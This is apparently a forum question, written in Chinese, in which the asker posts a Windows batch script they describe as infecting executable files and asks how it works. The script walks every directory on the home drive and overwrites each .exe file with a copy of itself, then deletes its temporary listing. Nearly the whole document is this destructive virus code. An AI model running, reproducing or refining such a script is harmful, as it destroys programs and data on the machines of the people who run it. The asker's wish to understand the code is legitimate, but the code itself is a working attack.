我知道下面的命令用于感染可执行文件。但我不知道它们究竟是如何工作的。有人可以向我解释一下吗?
@echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath
Run Code Online (Sandbox Code Playgroud)